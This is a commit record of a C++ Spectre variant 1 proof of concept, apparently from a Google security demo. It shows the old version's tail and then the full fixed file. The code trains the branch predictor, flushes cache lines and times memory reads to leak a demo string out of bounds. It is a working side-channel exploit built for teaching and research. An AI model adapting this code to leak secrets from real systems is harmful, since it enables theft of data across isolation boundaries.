    // latency. Indexing into isolated_oracle causes the relevant region of
    // memory to be loaded into cache, which makes it faster to load again than
    // it is to load entries that had not been accessed.
    // Only two offsets will have been accessed: safe_offset (which we ignore),
    // and i.
    // Note: if the character at safe_offset is the same as the character we
    // want to know at i, the data from this run will be useless, but later runs
    // will use a different safe_offset.
    for (int i = 0; i < 256; ++i) {
      // NOTE: a sufficiently smart compiler (or CPU) might pre-fetch the
      // cache lines, rendering them all equally fast. It may be necessary in
      // that case to try to confuse it by accessing the offsets in a
      // (pseudo-)random order, or some other trick.
      // On the CPUs this has been tested on, placing values 4096 bytes apart
      // is sufficient to defeat prefetching.
      void *timing_entry = &isolated_oracle[i];
      _mm_mfence();
      _mm_lfence();
      int64_t start = __rdtsc();
      _mm_lfence();
      force_read(timing_entry);
      _mm_lfence();
      latencies[i] = __rdtsc() - start;
    }
    _mm_lfence();
    int64_t avg_latency =
        std::accumulate(latencies.begin(), latencies.end(), 0) / 256;

    // The difference between a cache-hit and cache-miss times is significantly
    // different across platforms. Therefore we must first compute its estimate
    // using the safe_offset which should be a cache-hit.
    int64_t hitmiss_diff = avg_latency - latencies[data[safe_offset]];
    int hitcount = 0;
    for (int i = 0; i < 256; ++i) {
      if (latencies[i] < avg_latency - hitmiss_diff / 2 &&
          i != data[safe_offset]) ++hitcount;
    }

    // If there is not exacly one hit, we consider that sample invalid and skip
    // it.
    if (hitcount == 1) {
      for (int i = 0; i < 256; ++i) {
        if (latencies[i] < avg_latency - hitmiss_diff / 2 &&
            i != data[safe_offset]) ++scores[i];
      }
    }

    std::tie(best_val, runner_up_val) = top_two_indices(scores);

    // TODO(jeanpierreda): This timing algorithm is suspect (it is measuring whether
    // something is usually faster than average, rather than usually faster, or
    // faster on average.)
    if (scores[best_val] > (2 * scores[runner_up_val] + 40))
      break;
    // Otherwise: if we still don't know with high confidence, we can keep
    // accumulating timing data until we think we know the value.
    if (run > 100000) {
      std::cerr << "Does not converge " << best_val << " " << scores[best_val]
                << " " << runner_up_val << " " << scores[runner_up_val]
                << std::endl;
      exit(EXIT_FAILURE);
    }
  }
  return best_val;
}

int main(int argc, char** argv) {
  std::cout << "Leaking the string: ";
  std::cout.flush();
  const int private_offset = private_data.begin() - public_data.begin();
  for (int i = 0; i < private_data.size(); ++i) {
    // On at least some machines, this will print the i'th byte from
    // private_data, despite the only actually-executed memory accesses being
    // to valid bytes in public_data.
    std::cout << leak_byte(public_data, private_offset + i);
    std::cout.flush();
  }
  std::cout << "\nDone!\n";
}
<commit_msg>Fix a typo<commit_after>/*
 * Copyright 2019 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

// TODO(jeanpierreda): Test on ARM.
// TODO(jeanpierreda): Make this work on GCC.
// TODO(jeanpierreda): Use a specific public Clang version, document specific CPUs.

#ifdef _MSC_VER
#include <intrin.h>
#else
#include <x86intrin.h>
#endif

#include <algorithm>
#include <array>
#include <cstring>
#include <iostream>
#include <memory>
#include <numeric>
#include <string>
#include <string_view>
#include <tuple>
#include <vector>

// Objective: given some control over accesses to the *non-secret* string
// "Hello, world!", construct a program that obtains "It's a s3kr3t!!!" without
// ever accessing it in the C++ execution model, using speculative execution and
// side channel attacks
//
// It is far more convenient for the attacker if these are adjacent in memory,
// since then there is no effort needed to discover the offset for the private
// value relative to the public value.
// However, it is not strictly necessary. The secret _could_ be anywhere
// relative to the string, as long as there is some attacker-controlled value
// that could reach it during buffer overflow.
const std::string_view public_data = "Hello, world!";
const std::string_view private_data = "It's a s3kr3t!!!";

// Forces a memory read of the byte at address p. This will result in the byte
// being loaded into cache.
static void force_read(void *p) { (void)*(volatile char *)p; }

// Returns the indices of the biggest and second-biggest values in the range.
template <typename RangeT>
static std::pair<int, int> top_two_indices(const RangeT &range) {
  std::pair<int, int> result = {0, 0};  // first biggest, second biggest
  for (int i = 0; i < range.size(); ++i) {
    if (range[i] > range[result.first]) {
      result.second = result.first;
      result.first = i;
    } else if (range[i] > range[result.second]) {
      result.second = i;
    }
  }
  return result;
}

// Leaks the byte that is physically located at &text[0] + offset, without ever
// loading it. In the abstract machine, and in the code executed by the CPU,
// this function does not load any memory except for what is in the bounds
// of `text`, and local auxiliary data.
//
// Instead, the leak is performed by accessing out-of-bounds during speculative
// execution, bypassing the bounds check by training the branch predictor to
// think that the value will be in-range.
static char leak_byte(std::string_view text, int offset) {
  // Create an array spanning at least 256 different cache lines, with
  // different cache line available for each possible byte.
  // We can use this for a timing attack: if the CPU has loaded a given cache
  // line, and the cache line it loaded was determined by secret data, we can
  // figure out the secret byte by identifying which cache line was loaded.
  // That can be done via a timing analysis.
  //
  // To do this, we create an array of 256 values, each of which do not share
  // the same cache line as any other. To eliminate false positives due
  // to prefetching, we also ensure no two values share the same page,
  // by spacing them at intervals of 4096 bytes.
  //
  // See 2.3.5.4 Data Prefetching in the Intel Optimization Reference Manual:
  //   "Data prefetching is triggered by load operations when [...]
  //    The prefetched data is within the same 4K byte page as the load
  //    instruction that triggered it."
  //
  // ARM also has this constraint on prefetching:
  //   http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0388i/CBBIAAAA.html
  //
  // Spacing of 4096 was used in the original Spectre paper as well:
  //   https://spectreattack.com/spectre.pdf
  //
  struct BigByte {
    // Explicitly initialize the array. It doesn't matter what we write; it's
    // only important that we write *something* to each page. Otherwise,
    // there's an opportunity for the range to be allocated as zero-fill-on-
    // demand (ZFOD), where all virtual pages are a read-only mapping to the
    // *same* physical page of zeros. The cache in modern Intel CPUs is
    // physically-tagged, so all of those virtual addresses would map to the
    // same cache line and we wouldn't be able to observe a timing difference
    // between accessed and unaccessed pages (modulo e.g. TLB lookups).
    std::array<unsigned char, 4096> padding_ = {};
  };
  std::vector<BigByte> oracle_array(257);
  // The first value is adjacent to other elements on the stack, so
  // we only use the other elements, which are guaranteed to be on different
  // cache lines, and even different pages, than any other value.
  BigByte* isolated_oracle = &oracle_array[1];

  const char *data = &text[0];

  // The size needs to be unloaded from cache to force speculative execution
  // to guess the result of comparison. It could be stored on the stack, >=4096
  // bytes away from any other values we use we use (which will be loaded into
  // cache). In this demo, it is more convenient to store it on the heap:
  // it is the _only_) heap-allocated value in this program, and easily removed
  // from cache.
  auto size_in_heap = std::make_unique<int>(text.size());

  std::array<int64_t, 256> latencies = {};
  std::array<int, 256> scores = {};
  int best_val = 0, runner_up_val = 0;

  for (int run = 0;; ++run) {
    // Flush out entries from the timing array. Now, if they are loaded during
    // speculative execution, that will warm the cache for that entry, which
    // can be detected later via timing analysis.
    for (int i = 0; i < 256; ++i) _mm_clflush(&isolated_oracle[i]);
    // Clflush is not ordered with respect to reads, so it is necessary to place
    // the mfence instruction here so that the clflushes retire before the
    // force_read calls below.
    // "Performs a serializing operation on all load-from-memory and
    // store-to-memory instructions that were issued prior the MFENCE
    // instruction. This serializing operation guarantees that every load and
    // store instruction that precedes the MFENCE instruction in program order
    // becomes globally visible before any load or store instruction that
    // follows the MFENCE instruction."
    _mm_mfence();

    // We pick a different offset every time so that it's guaranteed that the
    // value of the in-bounds access is usually different from the secret value
    // we want to leak via out-of-bounds speculative access.
    int safe_offset = run % text.size();

    for (int i = 0; i < 10; ++i) {
      // Remove from cache so that we block on loading it from memory,
      // triggering speculative execution.
      _mm_clflush(&*size_in_heap);

      // Train the branch predictor: perform in-bounds accesses 9 times,
      // and then use the out-of-bounds offset we _actually_ care about on the
      // tenth time.
      int local_offset = ((i + 1) % 10) ? safe_offset : offset;

      if (local_offset < *size_in_heap) {
        // This branch was trained to always be taken during speculative
        // execution, so it's taken even on the tenth iteration, when the
        // condition is false!
        force_read(&isolated_oracle[data[local_offset]]);
      }
    }

    // Here's the timing side channel: find which char was loaded by measuring
    // latency. Indexing into isolated_oracle causes the relevant region of
    // memory to be loaded into cache, which makes it faster to load again than
    // it is to load entries that had not been accessed.
    // Only two offsets will have been accessed: safe_offset (which we ignore),
    // and i.
    // Note: if the character at safe_offset is the same as the character we
    // want to know at i, the data from this run will be useless, but later runs
    // will use a different safe_offset.
    for (int i = 0; i < 256; ++i) {
      // NOTE: a sufficiently smart compiler (or CPU) might pre-fetch the
      // cache lines, rendering them all equally fast. It may be necessary in
      // that case to try to confuse it by accessing the offsets in a
      // (pseudo-)random order, or some other trick.
      // On the CPUs this has been tested on, placing values 4096 bytes apart
      // is sufficient to defeat prefetching.
      void *timing_entry = &isolated_oracle[i];
      _mm_mfence();
      _mm_lfence();
      int64_t start = __rdtsc();
      _mm_lfence();
      force_read(timing_entry);
      _mm_lfence();
      latencies[i] = __rdtsc() - start;
    }
    _mm_lfence();
    int64_t avg_latency =
        std::accumulate(latencies.begin(), latencies.end(), 0) / 256;

    // The difference between a cache-hit and cache-miss times is significantly
    // different across platforms. Therefore we must first compute its estimate
    // using the safe_offset which should be a cache-hit.
    int64_t hitmiss_diff = avg_latency - latencies[data[safe_offset]];
    int hitcount = 0;
    for (int i = 0; i < 256; ++i) {
      if (latencies[i] < avg_latency - hitmiss_diff / 2 &&
          i != data[safe_offset]) ++hitcount;
    }

    // If there is not exactly one hit, we consider that sample invalid and
    // skip it.
    if (hitcount == 1) {
      for (int i = 0; i < 256; ++i) {
        if (latencies[i] < avg_latency - hitmiss_diff / 2 &&
            i != data[safe_offset]) ++scores[i];
      }
    }

    std::tie(best_val, runner_up_val) = top_two_indices(scores);

    // TODO(jeanpierreda): This timing algorithm is suspect (it is measuring whether
    // something is usually faster than average, rather than usually faster, or
    // faster on average.)
    if (scores[best_val] > (2 * scores[runner_up_val] + 40))
      break;
    // Otherwise: if we still don't know with high confidence, we can keep
    // accumulating timing data until we think we know the value.
    if (run > 100000) {
      std::cerr << "Does not converge " << best_val << " " << scores[best_val]
                << " " << runner_up_val << " " << scores[runner_up_val]
                << std::endl;
      exit(EXIT_FAILURE);
    }
  }
  return best_val;
}

int main(int argc, char** argv) {
  std::cout << "Leaking the string: ";
  std::cout.flush();
  const int private_offset = private_data.begin() - public_data.begin();
  for (int i = 0; i < private_data.size(); ++i) {
    // On at least some machines, this will print the i'th byte from
    // private_data, despite the only actually-executed memory accesses being
    // to valid bytes in public_data.
    std::cout << leak_byte(public_data, private_offset + i);
    std::cout.flush();
  }
  std::cout << "\nDone!\n";
}
<|endoftext|>